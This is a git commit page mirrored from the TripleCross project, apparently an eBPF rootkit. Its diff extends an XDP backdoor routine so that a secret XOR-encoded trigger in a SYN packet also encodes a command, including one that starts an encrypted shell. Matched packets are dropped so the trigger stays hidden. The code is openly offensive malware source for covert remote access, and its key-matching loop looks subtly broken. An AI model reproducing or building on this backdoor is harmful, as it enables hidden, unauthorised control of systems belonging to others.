mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-26 03:13:07 +08:00
Added V1 command sending via secret trigger on backdoor
This commit is contained in:
@@ -46,20 +46,42 @@ static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 paylo
|
||||
}
|
||||
}
|
||||
|
||||
//S1 XOR K1 XOR S2 XOR K2 XOR K3
|
||||
//S1 XOR K1 XOR S2 XOR K2 XOR (K3+COMMAND VALUE)
|
||||
__builtin_memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(section3, payload+0x0C, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=key3[ii]){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return XDP_PASS;
|
||||
int correct = 1;
|
||||
int command_received = -1;
|
||||
for(int jj=0; jj<CC_PROT_K3_TOTAL_DEFINED_KEYS_V1; jj++){
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=(key3[ii] + jj)){
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = jj;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if(correct == 0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
//If we reach this point then we received trigger packet
|
||||
bpf_printk("Finished backdoor V1 check\n");
|
||||
bpf_printk("Finished backdoor V1 check with success\n");
|
||||
switch(command_received){
|
||||
case CC_PROT_K3_ENCRYPTED_SHELL_TRIGGER_V1:
|
||||
bpf_printk("Received request to start encrypted connection\n");
|
||||
break;
|
||||
default:
|
||||
bpf_printk("Command received unknown: %d\n", command_received);
|
||||
}
|
||||
|
||||
|
||||
return XDP_DROP;
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user